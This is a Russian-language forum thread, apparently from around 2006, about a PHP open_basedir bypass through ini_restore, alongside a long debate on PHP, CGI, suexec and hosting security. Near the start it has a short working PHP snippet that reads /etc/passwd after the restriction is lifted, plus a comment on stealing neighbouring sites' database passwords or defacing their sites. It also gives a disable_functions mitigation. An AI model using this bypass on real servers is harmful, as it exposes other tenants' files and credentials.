Очередная уязвимость в php

Да уж, жесть. Что тут ещё скажешь.

Ссылка на хакер.ру конечно мегаавторитетная... А на bugs.php.net я чтой-то не смог найти ничего похожего...

Работает, проверил. Только понятно вместо include я fopen использовал. /etc/passwd читается без проблем после ini_restore

<?
        echo("<pre>");
//        ini_restore("open_basedir");
        $filename="/etc/passwd";
        $h=fopen($filename, "r");
        $contents=fread($h, filesize($filename));
        echo($contents);
        echo("OK");
?>

С закомментированной второй строчкой ругается на open_basedir,
с раскомментированной - спокойно выводит /etc/passwd. Рекомендую. :)

Собственно, решение очевидно:

disable_functions = symlink ini_restore

Но руки авторам PHP я бы всё же поотрывал.

Этой новости, вообще-то уже 10 дней:

http://secunia.com/advisories/22282/

А вот ссылка на исходное сообщение о самой уязвимости и эксплоит: http://securityreason.com/achievement_securityalert/42

disable_functions = symlink,ini_restore

запятую пропустил...

Не знал признаться, здесь вроде не было...

Люди! Не начинайте новых проектов на PHP. Не жрите в макдональдсах! Не смотрите телевизор!

> Не знал признаться, здесь вроде не было...

Да я вчера чесал репу: подтвердить или нет по этой причине, наверно хорошо, что ты подтвердил, а то судя по комментариям до сих пор не все в курсе, а уязвимость серьёзная.

Уязвимость локальная же. Представляет интерес для пхп-хостеров...

А хакер-ру в своем духе.

> с раскомментированной - спокойно выводит /etc/passwd. Рекомендую. :)

Попробуй прочитать /etc/shadow, там больше полезной информации для атакующего :)

Чего там пробовать, ясное дело не выйдет, у апача на это нет прав. Зато на файлик типа config.php от соседнего сайта с паролями на мускуль прав вполне хватит, ну и сами скрипты чужого сайта скоммуниздить тоже. А если повезёт и стоят права 777 (а это сплошь и рядом, CGI-то нету, а так типа всё по open_basedir закрыто), то и подефейсить без проблем.

По твоему вопросу ясно, что ты не имел случае близко познакомиться с PHP и не знаешь, зачем нужны safe_mode и open_basedir. Счастливый человек. :)

На серьёзных хостингах к open_basedir и safe_mode ещё делают смену пользователя.

А поподробнее?

http://httpd.apache.org/docs/1.3/suexec.html А экзешник php лежит в cgi-bin и запускается как CGI. Очень просто =) И не надо никаких open basedir и т.д. Все нормальные хостеры уже давно так делают. Можно ещё в довесок добавить какой нибудь mod_chroot, вот тогда самое веселье.

с chroot'а апача и надо все начинать, а не с костылей :)

Граждане, Вы вообще понимаете о чём речь идёт, или поумничать пришли? Скажите ещё, что нормальные люди вообще PHP не используют, будете точно так же правы. Но речь в новости об уязвимости в open_basedir, а не о чём-то ещё. Желающие поспорить о преимуществах и недостатках PHP как модуля апача и PHP как такового - в Talks. А здесь буду резать.

При чём тут поумничать и спор? Это не я же написал:

>Зато на файлик типа config.php от соседнего сайта с паролями на мускуль прав вполне хватит, ну и сами скрипты чужого сайта скоммуниздить тоже. А если повезёт и стоят права 777 (а это сплошь и рядом, CGI-то нету, а так типа всё по open_basedir закрыто), то и подефейсить без проблем.

Вот и ответ, что бы не кричали, что php это г****, и что теперь надо сидеть и ждать пока закроют уязвимость. Тем более, если я не ошибаюсь, ещё кто то из разработчиков php заявлял, что все таки open_basedir это лажа, и не надо это юзать, всё равно не спасёт.

http://php.net/

а чюваки конференции все по миру устраивают :( вместо латания дыр

Ты мне лучше скажи, для чего ты мне про CGI рассказал? Типа без тебя этого кто-то не знает? Или ты не в курсе причин, по которым чаще используется mod_php?

Я просил поподробнее насчёт "к open_basedir и safe_mode ещё делают смену пользователя". А твой ответ про suexec мягко говоря не в тему.

> Или ты не в курсе причин, по которым чаще используется mod_php?

справедливости ради, в системах с высокой нагрузкой php/cgi/fcgi тоже часто используется. так как какой-нить nginx не умеет mod_php :)

Правильно.

А на чем начинать новые проекты?

на Ruby on Rails вестимо ;)

мать, мать, мать... >:-( блин, народ, кто-нить юзал resin заместо php, ответьте же наконец?

Это когда один высоконагруженный сайт на сервере. А для mod_php применение - это несколько сотен мелких сайтов по цене за рубель в месяц с каждого. Тут fastcgi не пройдёт, не говоря уже про cgi...

>мать, мать, мать... >:-( блин, народ, кто-нить юзал resin заместо php, ответьте же наконец?

Ваш вопрос похоже удалили или еще что-то. Во всяком случае тут его не видно )

Что-то решил ещё раз ответить. :)

> Вот и ответ, что бы не кричали, что php это г****, и что теперь надо сидеть и ждать пока закроют уязвимость.

Не надо нигде сидеть, я ж выше написал что делать...

> Тем более, если я не ошибаюсь, ещё кто то из разработчиков php заявлял, что все таки open_basedir это лажа, и не надо это юзать, всё равно не спасёт.

В ответ на это мы скажем своё решительное "PHP - это лажа, и не надо это юзать", и будем ещё более правы, чем этот разработчик. От разработчика же я ожидаю этого заявления непосредственно здесь: http://php.net/manual/en/features.safe-mode.php Пока что там дезинформирующее сообщение, что якобы оно limits the files that can be opened by PHP to the specified directory-tree. И это не может не навевать грустные мысли о качестве продукта.

Ну, вообще-то, там весьма unflattering заявление о том, что этот костыль является архитектурным говном, и что такое делать надо на уровне сервера/ОС (тот же chroot в руки, например). Что это сделано для быдлоадминов, грубо говоря, потому как "надеяться на милости природы нереалистично". И что этот костыль с негодованием выброшен из PHP 6.0.0.

Так что давай договаривать полностью :)

P.S. Python рулит. PHP сакс. Но иногда бывает, что тебя ставят раком, и под угрозой поимения без вазелина заставляют писать на PHP.

Да, действительно, слона-то я и не приметил. :)

Есть мнение, что вот тут-то PHP и настанут кранты. Старые сценарии они поддерживать не хотят, а для новых проектов действительно к тому времени уже вряд ли кто станет его использовать...

И это хорошо.

> Что это сделано для быдлоадминов

Ну, допустим, таких слов я там не приметил. :)

Если ты думаешь, что настроить chroot для каждого сайта - проблема, таки нет, не проблема. Более того - не нужно, достаточно CGI пользовать. Однако удельное количество сайтов на сервер однозначно лучше с mod_php. А хостингом обычно занимаются не за идею, а чтобы деньги зарабатывать. Я бы занялся за идею, да вот кто за это заплатит? :)

> Если ты думаешь, что настроить chroot для каждого сайта - проблема, таки нет, не проблема.

Я-то не считаю. Но если php админят люди с непонятно чем вместо моска, а по секрету скажу -- нелатентные вендузятники со снобическим взглядом на RH (за бугром) и FreeBSD (в СНГ), которые эти ОС видели только из-под PuTTY -- то увы и ах.

На самом деле толково настроенный PHP, это тот же фунт работы, что и толком настроенный Perl, Python или даже mod_lisp.

Когда у нас на хостинге отключили register_globals (видно, в кои веки их поломали... ты бы видел, как они это хозяйство на серверах держат. А я видел раз, и с меня хватает.), то вой подняли быдлокодеры, которые иначе не умеют, и которых вовсю имели заказчики за "сайт не работает".

Пока я краснел за свой почти уже бывший коллектив, хостеры включили register_globals обратно. А то. Не переписывать же программистам кучу скриптов! Пущай другие дядьки ломают...

Аналогичная история с register_globals... Всё это я прекрасно видел воочию.

...только со стороны хостера.

Ну и каково с кодерами общаться? Не сам язык виноват, вообще-то, а то, как девелоперы изголяются для того, чтобы порог вхождения был ниже плинтуса... И входят всякие -- с умом ниже плинтуса...

>P.S. Python рулит. PHP сакс.

Очень интересное заявление. Для начала стоит уточнить, что мы говорим о конкретных реализациях. А в mod_python есть нечто хотя бы навроде open_basedir и safe_mode? Похоже, пока никто попросту не пробовал всерьёз использовать его на шаред хостинге, и думается мне, если бум питона начнётся, проблем с ним всплывёт ничуть не меньше. На самом деле трабл глобальнее, насколько я понимаю. Ну не может апач запускать потоки внутре себя в разными правами - и он в этом не виноват. А порождая процессы (пользуя вместо mpm_worker какой-нибуть peruser, или вовсе php через cgi - мы пожираем память и теряем процессорное время). Как использование питона или любого другого языка может исправить эту ситуацию, издалека не очень видно.

> Есть мнение, что вот тут-то PHP и настанут кранты.

Вряд ли, слишком много книжек по нему выпущено :) Слишком больша масса его использует. Но как бы они не на ASP.NET не началали переходить, ведь очень удобно: наваял формочки в студии, навешал немножко кода на контролы -- сайт готов.

Грустно... Язык тоже так себе, но что особенно паршиво - так это конечно реализация, я бы так сказал. Ну а то, что на языке, максимально доступном для каждого... хм... кодера в среднем пишут не самые талантливые люди, так это тоже присутствует.

Ты как-то сначала пишешь что вряд ли, а потом сразу говоришь куда они вероятно пойдут - определись. :)

Я же не говорю, что они уйдут на Руби с Питоном, я просто говорю, что переучиваться им один чёрт придётся, так что будет резон заодно переучиться на что-то более другое.

Кстати, кто-нибуть может пролить свет на следующую непонятку с php? http://www.opennet.ru/openforum/vsluhforumID8/4430.html

У меня просто сам собой возникает вопрос: ты где хостишься? Сказать, что это до боли знакомо - ничего не сказать. :)

По теме - вроде работало это а почти такой же конфигурации с PHP5, собранным из портов (точно так же, как и с PHP4). Сейчас проверять лень, но если склероз не изменяет, то работало. Так что однозначно ключи сборки не те. Ты бы выложил заодно те, что для PHP4 были.

> я просто говорю, что переучиваться им один чёрт придётся, так что будет резон заодно переучиться на что-то более другое.

Боюсь shimon прав, говоря про порог вхождения. У меня такое впечатление, что очень многие склонны выбирать технологии с низким порогом вхождения, не глядя за порог. А с этой точки зрения у ASP.NET порог вхождения довольно низкий, можно быстро почувствовать себя крутым сайтостроителем.

Дык, я ж не спорю. Более другое - не значит лучшее, к сожалению.

Хостинг у меня на самом деле неважно где) Эти пути - от ispmanager'a, который сейчас многие хостеры юзают. Пульни в конфу свои ключи сборки php пожалуйста, подумаю и поэкспериментирую. В принципе есть вариант поправить сырцы suexec дабы он не херил $PHPRC и писать в .htaccess Setenv PHPRC "/home/user/php-cgi", но это без мазы.

Имею честь быть автором этой конструкции в ISPmanager. :)

По теме не помогу, сплю на ходу...

Редкая херня.
"при условии .., только в веб-сервере .., если .. и .., и если хостер - полный м-ак, то можно прочесть /etc/passwd".
УЖАС. ДЫРА. все умерли от страха.

При чём тут /etc/passwd? Любой чужой php-скрипт. Ты топик читал? Хотя зачем анонимусам читать...

И не если хостер - мудак, а если хостер - среднестатистический российский php-шаред-хостер. Я понимаю, что тут-то быдла нет, сплошь аристократы, куда не плюнь (непонятно только, зачем PHP используют), но реалии таковы, что именно в таких условия огромное число сайтов и хостятся.

> Боюсь shimon прав, говоря про порог вхождения. У меня такое впечатление, что очень многие склонны выбирать технологии с низким порогом вхождения, не глядя за порог.

Именно! Именно! Их обычно банально не хватает посмотреть за порог по ряду причин: 1) программирование, а то и IT вовсе -- не их тарелка, они не привыкли к _постоянному_ процессу обучения, к тому, что некоторые стереотипы нужно уметь выбросить без остатка; 2) обычно их так грузят, что у них не хватает времени посмотреть, как _НАДО_ делать, я уж промолчу про "самим поиграться". Чуть человек начинает уметь делать сравнительно работающий код, и его засовывают в мясорубку навчерашних дедлайнов. Со мной работала одна девушка

Хороший проект на PHP для меня выглядит даже потрудоемче, чем написание собственного сервера на Twisted (Python). Для сравнения, в PHP мне не хватает только практикума по написанию расширений, в то время как 1) питон я знаю не совсем до конца как _язык_, 2) в идеологию отложенных вызовов (не вычислений) и коллбэков с наскоку не врубишься, нужна не одна поллитра.

> Со мной работала одна девушка

...так мне было страшно на нее смотреть в конце рабочего дня.